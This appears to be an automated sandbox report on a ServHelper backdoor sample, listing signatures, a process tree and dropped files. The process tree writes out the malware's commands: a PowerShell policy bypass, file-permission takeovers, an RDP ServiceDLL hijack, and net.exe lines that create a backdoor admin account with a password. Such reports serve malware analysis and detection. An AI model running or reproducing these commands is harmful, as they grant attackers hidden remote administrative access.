Analysis

  • max time kernel
    114s
  • max time network
    189s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    17/04/2022, 14:55

General

  • Target
    9dea50450a6840d3be1898060406c4082c2ae3e808bf26d72baf5560118182c3.exe
  • Size 5.0MB
  • Sample220417-sak1wsgegr
  • SHA256 9dea50450a6840d3be1898060406c4082c2ae3e808bf26d72baf5560118182c3
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9dea50450a6840d3be1898060406c4082c2ae3e808bf26d72baf5560118182c3.exe
    "C:\Users\Admin\AppData\Local\Temp\9dea50450a6840d3be1898060406c4082c2ae3e808bf26d72baf5560118182c3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3756
    • \??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1920
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a0w13ehb\a0w13ehb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFB4.tmp" "c:\Users\Admin\AppData\Local\Temp\a0w13ehb\CSC63E9497A7DFC46CB8C5581EFEF173BC2.TMP"
          4⤵
            PID:3768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1500
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4544
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2376
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:3672
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:672
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3632
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:536
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1396
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4448
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:3052
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:4796
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1488
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1536
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:4164
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3620
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4620
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4144
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4400
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:948
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2280
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4104
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2084
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:3408
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4596
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4552
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:916
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3228
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc zqAl5l3e /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:800
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc zqAl5l3e /add
                        2⤵
                          PID:3776
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc zqAl5l3e /add
                            3⤵
                              PID:2828
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          1⤵
                            PID:2456
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                              2⤵
                                PID:4700
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                  3⤵
                                    PID:1612
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" TLWHJTYB$ /ADD
                                1⤵
                                  PID:4744
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Remote Desktop Users" TLWHJTYB$ /ADD
                                    2⤵
                                      PID:4844
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" TLWHJTYB$ /ADD
                                        3⤵
                                          PID:1508
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                      1⤵
                                        PID:4456
                                        • C:\Windows\system32\net.exe
                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                          2⤵
                                            PID:1956
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                              3⤵
                                                PID:1752
                                          • C:\Windows\System32\cmd.exe
                                            cmd /C net.exe user WgaUtilAcc zqAl5l3e
                                            1⤵
                                              PID:3128
                                              • C:\Windows\system32\net.exe
                                                net.exe user WgaUtilAcc zqAl5l3e
                                                2⤵
                                                  PID:3920
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 user WgaUtilAcc zqAl5l3e
                                                    3⤵
                                                      PID:4712

                                                Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      RESEFB4.tmp

                                                      • Path C:\Users\Admin\AppData\Local\Temp\RESEFB4.tmp
                                                      • Size 1KB
                                                      • SHA256 18c8338c09673583385d23f0799541441a00b2df65cf93f1855b0574658d84fd
                                                      • MD5 SHA1 SHA512

                                                      a0w13ehb.dll

                                                      • Path C:\Users\Admin\AppData\Local\Temp\a0w13ehb\a0w13ehb.dll
                                                      • Size 3KB
                                                      • SHA256 b96c72df434308ddf5890fbe25842b336a87b18fcd05d21881f2f82eeb6942b5
                                                      • MD5 SHA1 SHA512

                                                      get-points.ps1

                                                      • Path C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                                      • Size 3.0MB
                                                      • SHA256 ef297ff9ad64d966e8c977fd8272523f69e73309ed6886b33a8e6e5801e49610
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      mediasrv.png

                                                      • Path C:\Windows\Branding\mediasrv.png
                                                      • Size 54KB
                                                      • SHA256 c541a6864196f87b07d9f34622eb2f8571da74909b80df872636bb0b3268f579
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      mediasvc.png

                                                      • Path C:\Windows\Branding\mediasvc.png
                                                      • Size 943KB
                                                      • SHA256 312d92923a48b780e6719b684f4c472e2d4d966c06d48170162a24f84f5058b0
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      rfxvmt.dll

                                                      • Path C:\Windows\system32\rfxvmt.dll
                                                      • Size 40KB
                                                      • SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      CSC63E9497A7DFC46CB8C5581EFEF173BC2.TMP

                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\a0w13ehb\CSC63E9497A7DFC46CB8C5581EFEF173BC2.TMP
                                                      • Size 652B
                                                      • SHA256 2579bf841d125388787add913fe2172e02a026ff968cac2520713adba3dd9c9e
                                                      • MD5 SHA1 SHA512

                                                      a0w13ehb.0.cs

                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\a0w13ehb\a0w13ehb.0.cs
                                                      • Size 504B
                                                      • SHA256 63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685
                                                      • MD5 SHA1 SHA512

                                                      a0w13ehb.cmdline

                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\a0w13ehb\a0w13ehb.cmdline
                                                      • Size 369B
                                                      • SHA256 e1212da81b48ce7b4eb13f9214bd552b1637588f85eaff809f16338a8d939231
                                                      • MD5 SHA1 SHA512

                                                      memory/1500-158-0x00007FFABB8B0000-0x00007FFABC371000-memory.dmp

                                                      memory/1500-160-0x000001999E1A3000-0x000001999E1A5000-memory.dmp

                                                      memory/1500-161-0x000001999E1A6000-0x000001999E1A8000-memory.dmp

                                                      memory/1500-159-0x000001999E1A0000-0x000001999E1A2000-memory.dmp

                                                      memory/1920-190-0x000002B051340000-0x000002B0513B6000-memory.dmp

                                                      memory/1920-145-0x000002B059510000-0x000002B059686000-memory.dmp

                                                      memory/1920-132-0x000002B051270000-0x000002B0512B4000-memory.dmp

                                                      memory/1920-134-0x00007FFABB8B0000-0x00007FFABC371000-memory.dmp

                                                      memory/1920-136-0x000002B04E0E3000-0x000002B04E0E5000-memory.dmp

                                                      memory/1920-146-0x000002B0598A0000-0x000002B059AAA000-memory.dmp

                                                      memory/1920-131-0x000002B04E040000-0x000002B04E062000-memory.dmp

                                                      memory/1920-137-0x000002B04E0E6000-0x000002B04E0E8000-memory.dmp

                                                      memory/1920-135-0x000002B04E0E0000-0x000002B04E0E2000-memory.dmp

                                                      memory/2244-150-0x00007FFABB8B0000-0x00007FFABC371000-memory.dmp

                                                      memory/2244-151-0x000001E6D0EC0000-0x000001E6D0EC2000-memory.dmp

                                                      memory/2244-152-0x000001E6D0EC3000-0x000001E6D0EC5000-memory.dmp

                                                      memory/2244-153-0x000001E6D0EC6000-0x000001E6D0EC8000-memory.dmp

                                                      memory/4772-154-0x00007FFABB8B0000-0x00007FFABC371000-memory.dmp

                                                      memory/4772-157-0x00000207E8A96000-0x00000207E8A98000-memory.dmp

                                                      memory/4772-155-0x00000207E8A90000-0x00000207E8A92000-memory.dmp

                                                      memory/4772-156-0x00000207E8A93000-0x00000207E8A95000-memory.dmp